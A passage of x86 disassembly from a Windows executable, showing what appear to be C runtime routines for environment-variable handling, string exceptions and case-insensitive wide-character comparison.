		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25D0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		push	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		jmp	near ptr 71AB1B7Bh
sub_426756	endp

; ---------------------------------------------------------------------------
		db 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2830000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 264040Ch
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		nop
		call	near ptr 263117Ch
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27E10BBh
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
